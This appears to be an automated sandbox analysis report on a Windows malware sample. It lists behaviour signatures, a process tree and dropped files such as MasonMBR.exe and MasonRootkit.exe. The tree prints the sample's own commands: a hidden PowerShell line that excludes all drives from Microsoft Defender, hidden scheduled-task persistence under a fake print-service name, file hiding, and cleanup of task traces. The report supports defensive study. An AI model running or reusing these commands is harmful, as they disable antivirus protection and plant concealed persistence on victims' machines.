Analysis

  • user interaction
    yes
  • max time kernel
    300s
  • max time network
    302s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/07/2026, 14:04

General

  • Target
    nasser &&, badr.exe
  • Size 643KB
  • Sample260727-rdfd5st1bw
  • SHA256 c9a5664b921b9a86746511903610ef2cab53a205c6afee57342b9fd374df243d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 9 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 5 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 8 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • Drops file in Windows directory 3 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Delays execution with timeout.exe 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 53 IoCs
  • Modifies registry class 4 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:748
      • C:\Windows\system32\fontdrvhost.exe
        "fontdrvhost.exe"
        2⤵
          PID:972
        • C:\Windows\system32\dwm.exe
          "dwm.exe"
          2⤵
            PID:1200
        • C:\Windows\system32\fontdrvhost.exe
          "fontdrvhost.exe"
          1⤵
            PID:980
          • C:\Windows\System32\WUDFHost.exe
            "C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d14bf9ff-cbc6-4be8-a6f6-b130fdb0df6e -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f346e593-f256-4094-87c0-990f1aec389f -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-e9c16e0b-c25b-4c34-a5cd-f6043bc8acbf -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ca46a5f8-50f1-4a84-b7c4-f6a1debe7e4e -LifetimeId:d266eb8f-8a75-43e2-b270-b18a690c1fdf -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
            1⤵
              PID:1004
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
              1⤵
                PID:1032
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k NetworkService -p
                1⤵
                • Drops file in System32 directory
                • Drops file in Windows directory
                • Modifies data under HKEY_USERS
                PID:1124
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                1⤵
                  PID:1248
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1316
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                    1⤵
                      PID:1372
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                      1⤵
                        PID:1572
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
                        1⤵
                          PID:1612
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                          1⤵
                          • Drops file in System32 directory
                          PID:1636
                          • C:\Users\Admin\AppData\Local\Temp\Squidward.exe
                            "C:\Users\Admin\AppData\Local\Temp\Squidward.exe"
                            2⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:4716
                            • C:\Users\Admin\AppData\Local\Temp\MasonMBR-SLEEP.exe
                              "C:\Users\Admin\AppData\Local\Temp\MasonMBR-SLEEP.exe"
                              3⤵
                              • Executes dropped EXE
                              PID:4688
                              • C:\Users\Admin\AppData\Local\Temp\MasonGDI.exe
                                "C:\Users\Admin\AppData\Local\Temp\MasonGDI.exe"
                                4⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:2964
                            • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
                              "C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"
                              3⤵
                              • Executes dropped EXE
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of WriteProcessMemory
                              PID:1408
                            • C:\Users\Admin\AppData\Local\Temp\MasonGDI.exe
                              "C:\Users\Admin\AppData\Local\Temp\MasonGDI.exe"
                              3⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              PID:4720
                            • C:\Windows\System32\schtasks.exe
                              "C:\Windows\System32\schtasks.exe" /Create /F /TN "MasonMBR" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\Temp\\MasonMBR.exe" /RL HIGHEST
                              3⤵
                              • Scheduled Task/Job: Scheduled Task
                              PID:1080
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp2730.tmp.bat""
                              3⤵
                              • Executes a command shell one-liner
                              PID:4452
                              • C:\Windows\System32\Conhost.exe
                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                4⤵
                                  PID:6016
                                • C:\Windows\System32\timeout.exe
                                  timeout 3
                                  4⤵
                                  • Delays execution with timeout.exe
                                  PID:1144
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                            1⤵
                              PID:1732
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc
                              1⤵
                                PID:1744
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                1⤵
                                  PID:1796
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                  1⤵
                                    PID:2016
                                    • C:\Windows\system32\sihost.exe
                                      sihost.exe
                                      2⤵
                                        PID:2860
                                        • C:\Windows\explorer.exe
                                          explorer.exe /LOADSAVEDWINDOWS
                                          3⤵
                                          • Modifies registry class
                                          • Suspicious behavior: GetForegroundWindowSpam
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of FindShellTrayWindow
                                          • Suspicious use of SendNotifyMessage
                                          PID:1096
                                          • C:\Users\Admin\AppData\Local\Temp\nasser &&, badr.exe
                                            "C:\Users\Admin\AppData\Local\Temp\nasser &&, badr.exe"
                                            4⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:2548
                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe
                                              "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe" --r
                                              5⤵
                                              • Executes dropped EXE
                                              • Suspicious use of WriteProcessMemory
                                              PID:3880
                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe
                                                "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe" --wd 3880
                                                6⤵
                                                • Executes dropped EXE
                                                PID:2260
                                              • C:\Windows\SYSTEM32\cmd.exe
                                                cmd.exe /c chcp 65001 >nul && S‡‘àvÂ¥&&¬º5÷ mT ðü•€í*ò¾±†D牭[<uȃ"Æ‘<šÌÁ¶ð ˆPޱÀÙñècÛäR]äLMÎéù|ӝ;Å›…#öå®Ò‡ÌQM“Œ‰‹¬ãyô¢2} xÅtÑÆÍ¿eºXŽŽŠKf(M5§~Û<xP⮈r¹Ë+ÜË5K©š}û5¾Ö+¸Œh]øµNÆÑJ$™Žz¾L[ó‡T/AÌ„g T ]îÉ åvT %(d×Uyc§ ç&è0©âdì; ÐÖø”çe ©_—-ñ*%q´Íq̹gC=$©ÁEÞgÆë†÷k´>m÷'i;U]=D¶:X Jœ+#o{
                                                6⤵
                                                • Executes a command shell one-liner
                                                • Suspicious use of WriteProcessMemory
                                                PID:5072
                                                • C:\Windows\system32\chcp.com
                                                  chcp 65001
                                                  7⤵
                                                    PID:2356
                                                • C:\Windows\SYSTEM32\cmd.exe
                                                  cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
                                                  6⤵
                                                  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
                                                  • Hide Artifacts: Hidden Window
                                                  • Hide Artifacts: Ignore Process Interrupts
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:964
                                                  • C:\Windows\system32\chcp.com
                                                    chcp 65001
                                                    7⤵
                                                      PID:1304
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
                                                      7⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4348
                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                    cmd.exe /c chcp 65001 >nul && schtasks /create /f /sc onlogon /tn "PrintServiceRuntime" /tr "\"C:\Users\Admin\AppData\Roaming\PrintServiceRuntime.exe\"" /ru ""
                                                    6⤵
                                                    • Executes a command shell one-liner
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:5076
                                                    • C:\Windows\system32\chcp.com
                                                      chcp 65001
                                                      7⤵
                                                        PID:4320
                                                      • C:\Windows\system32\schtasks.exe
                                                        schtasks /create /f /sc onlogon /tn "PrintServiceRuntime" /tr "\"C:\Users\Admin\AppData\Roaming\PrintServiceRuntime.exe\"" /ru ""
                                                        7⤵
                                                        • Scheduled Task/Job: Scheduled Task
                                                        PID:2376
                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                      cmd.exe /c chcp 65001 >nul && attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe"
                                                      6⤵
                                                      • Hide Artifacts: Hidden Files and Directories
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:4152
                                                      • C:\Windows\system32\chcp.com
                                                        chcp 65001
                                                        7⤵
                                                          PID:5156
                                                        • C:\Windows\system32\attrib.exe
                                                          attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe"
                                                          7⤵
                                                          • Views/modifies file attributes
                                                          PID:4872
                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                        cmd.exe /c chcp 65001 >nul && schtasks /create /tn "mu_3656_240785171" /tr "\"C:\Users\Admin\AppData\Local\Temp\Squidward.exe\"" /sc once /st 00:00 /f /it >nul 2>&1 && schtasks /run /tn "mu_3656_240785171" >nul 2>&1 && ping -n 3 127.0.0.1 >nul 2>&1 && schtasks /delete /tn "mu_3656_240785171" /f >nul 2>&1
                                                        6⤵
                                                        • Indicator Removal: Clear Persistence
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:4580
                                                        • C:\Windows\system32\chcp.com
                                                          chcp 65001
                                                          7⤵
                                                            PID:4844
                                                          • C:\Windows\system32\schtasks.exe
                                                            schtasks /create /tn "mu_3656_240785171" /tr "\"C:\Users\Admin\AppData\Local\Temp\Squidward.exe\"" /sc once /st 00:00 /f /it
                                                            7⤵
                                                            • Scheduled Task/Job: Scheduled Task
                                                            PID:4352
                                                          • C:\Windows\system32\schtasks.exe
                                                            schtasks /run /tn "mu_3656_240785171"
                                                            7⤵
                                                              PID:4004
                                                            • C:\Windows\system32\PING.EXE
                                                              ping -n 3 127.0.0.1
                                                              7⤵
                                                              • System Network Configuration Discovery: Internet Connection Discovery
                                                              • Runs ping.exe
                                                              PID:4328
                                                            • C:\Windows\system32\schtasks.exe
                                                              schtasks /delete /tn "mu_3656_240785171" /f
                                                              7⤵
                                                                PID:2056
                                                            • C:\Users\Admin\AppData\Local\Temp\Squidward.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\Squidward.exe"
                                                              6⤵
                                                              • Executes dropped EXE
                                                              PID:2976
                                                              • C:\Windows\System32\schtasks.exe
                                                                "C:\Windows\System32\schtasks.exe" /Create /F /TN "MasonMBR" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\Temp\\MasonMBR.exe" /RL HIGHEST
                                                                7⤵
                                                                • Scheduled Task/Job: Scheduled Task
                                                                PID:3912
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp2A1E.tmp.bat""
                                                                7⤵
                                                                • Executes a command shell one-liner
                                                                PID:2392
                                                                • C:\Windows\System32\Conhost.exe
                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  8⤵
                                                                    PID:3516
                                                                  • C:\Windows\system32\timeout.exe
                                                                    timeout 3
                                                                    8⤵
                                                                    • Delays execution with timeout.exe
                                                                    PID:2536
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                                      1⤵
                                                      • Indicator Removal: Clear Windows Event Logs
                                                      PID:2024
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                                      1⤵
                                                        PID:2076
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                                        1⤵
                                                          PID:2084
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k NetworkService -p
                                                          1⤵
                                                            PID:2112
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                            1⤵
                                                              PID:2208
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                              1⤵
                                                                PID:2312
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                                                1⤵
                                                                  PID:2368
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                  1⤵
                                                                  • Modifies Internet Explorer settings
                                                                  PID:2408
                                                                  • C:\Windows\system32\AUDIODG.EXE
                                                                    C:\Windows\system32\AUDIODG.EXE 0x00000000000004F0 0x00000000000004F8
                                                                    2⤵
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:4692
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService
                                                                  1⤵
                                                                    PID:2496
                                                                    • C:\Windows\system32\ctfmon.exe
                                                                      /QuitInfo:0000000000000268;000000000000026C;
                                                                      2⤵
                                                                        PID:4264
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                      1⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      PID:2592
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc
                                                                      1⤵
                                                                        PID:2656
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                        1⤵
                                                                          PID:2756
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                                          1⤵
                                                                            PID:2812
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc
                                                                            1⤵
                                                                              PID:2896
                                                                            • C:\Windows\System32\svchost.exe
                                                                              C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                                              1⤵
                                                                                PID:2992
                                                                              • C:\Windows\System32\spoolsv.exe
                                                                                C:\Windows\System32\spoolsv.exe
                                                                                1⤵
                                                                                  PID:2484
                                                                                • C:\Windows\System32\svchost.exe
                                                                                  C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                                  1⤵
                                                                                    PID:3160
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                    1⤵
                                                                                      PID:3180
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc
                                                                                      1⤵
                                                                                        PID:3256
                                                                                      • C:\Windows\System32\ShellHost.exe
                                                                                        "C:\Windows\System32\ShellHost.exe"
                                                                                        1⤵
                                                                                          PID:3504
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                                          1⤵
                                                                                            PID:3584
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                                            1⤵
                                                                                              PID:3612
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                              1⤵
                                                                                                PID:3664
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                                                1⤵
                                                                                                  PID:3676
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                                  1⤵
                                                                                                    PID:3700
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                                                    1⤵
                                                                                                      PID:3728
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                      1⤵
                                                                                                        PID:1328
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                        1⤵
                                                                                                          PID:1104
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:4412
                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                            1⤵
                                                                                                              PID:4464
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                                              1⤵
                                                                                                                PID:4528
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                                                1⤵
                                                                                                                  PID:4652
                                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                  1⤵
                                                                                                                    PID:4816
                                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                                    1⤵
                                                                                                                      PID:5136
                                                                                                                    • C:\Windows\System32\smartscreen.exe
                                                                                                                      C:\Windows\System32\smartscreen.exe -Embedding
                                                                                                                      1⤵
                                                                                                                        PID:5204
                                                                                                                      • C:\Windows\System32\SecurityHealthSystray.exe
                                                                                                                        "C:\Windows\System32\SecurityHealthSystray.exe"
                                                                                                                        1⤵
                                                                                                                          PID:5244
                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                          C:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc
                                                                                                                          1⤵
                                                                                                                            PID:5468
                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                            C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
                                                                                                                            1⤵
                                                                                                                              PID:6136
                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                                              1⤵
                                                                                                                                PID:1456
                                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                                1⤵
                                                                                                                                  PID:2420
                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                  C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                  1⤵
                                                                                                                                    PID:1976
                                                                                                                                  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                                    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                                    1⤵
                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                    PID:3276
                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                    1⤵
                                                                                                                                      PID:4504
                                                                                                                                    • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                      C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                      1⤵
                                                                                                                                        PID:4288
                                                                                                                                      • C:\Users\Admin\AppData\Roaming\PrintServiceRuntime.exe
                                                                                                                                        "C:\Users\Admin\AppData\Roaming\PrintServiceRuntime.exe"
                                                                                                                                        1⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:6128
                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                        1⤵
                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                        PID:2440
                                                                                                                                      • C:\Program Files (x86)\Windows Media Player\wmplayer.exe
                                                                                                                                        "C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
                                                                                                                                        1⤵
                                                                                                                                        • Enumerates connected drives
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        • Modifies registry class
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                        PID:3020
                                                                                                                                        • C:\Windows\SysWOW64\unregmp2.exe
                                                                                                                                          "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
                                                                                                                                          2⤵
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:2952
                                                                                                                                          • C:\Windows\system32\unregmp2.exe
                                                                                                                                            "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
                                                                                                                                            3⤵
                                                                                                                                            • Enumerates connected drives
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            PID:4300
                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                                        1⤵
                                                                                                                                          PID:4008
                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
                                                                                                                                          1⤵
                                                                                                                                          • Drops file in Windows directory
                                                                                                                                          PID:4552

                                                                                                                                        Network

                                                                                                                                              MITRE ATT&CK Enterprise v16

                                                                                                                                              Replay Monitor

                                                                                                                                              Loading Replay Monitor...

                                                                                                                                              Downloads

                                                                                                                                              CurrentDatabase_400.wmdb

                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
                                                                                                                                              • Size 640KB
                                                                                                                                              • SHA256 8a8cd750a44caba93f19c937e41e0a95d093cb0f46445ddb3791a8a58e125131
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                              CurrentDatabase_400.wmdb

                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
                                                                                                                                              • Size 1024KB
                                                                                                                                              • SHA256 166003f4e6f8e0c6aa1e2b06efb6f8a56f1071d5a9eaee7aee495fd955ce4398
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                              WMSDKNS.DTD

                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.DTD
                                                                                                                                              • Size 498B
                                                                                                                                              • SHA256 644fbcdc20086e16d57f31c5bad98be68d02b1c061938d2f5f91cbe88c871fbf
                                                                                                                                              • MD5 SHA1 SHA512 TLSH

                                                                                                                                              WMSDKNS.XML

                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML
                                                                                                                                              • Size 9KB
                                                                                                                                              • SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                              PrintServiceRuntime.exe

                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe
                                                                                                                                              • Size 643KB
                                                                                                                                              • SHA256 c9a5664b921b9a86746511903610ef2cab53a205c6afee57342b9fd374df243d
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                              MasonGDI.exe

                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\MasonGDI.exe
                                                                                                                                              • Size 61KB
                                                                                                                                              • SHA256 57eff2792a929b479b3e3bb9a25bbe750034dcba4213e2abb8865ff2268b53f6
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                              MasonMBR-SLEEP.exe

                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\MasonMBR-SLEEP.exe
                                                                                                                                              • Size 65KB
                                                                                                                                              • SHA256 de93250a0f249700407cd893e1b4d6b167c5e909b4b8f09cbefbbae473f4ad93
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                              MasonMBR.exe

                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\MasonMBR.exe
                                                                                                                                              • Size 93KB
                                                                                                                                              • SHA256 b7af0a09eac02f06abd483920e860d68d83b1cf4007edff6551b3f60fe990415
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                              MasonRootkit.exe

                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
                                                                                                                                              • Size 161KB
                                                                                                                                              • SHA256 879cc20b41635709bb304e315aaa5ca4708b480a1bfc2f4935fcf2215188efb0
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                              Squidward.exe

                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\Squidward.exe
                                                                                                                                              • Size 535KB
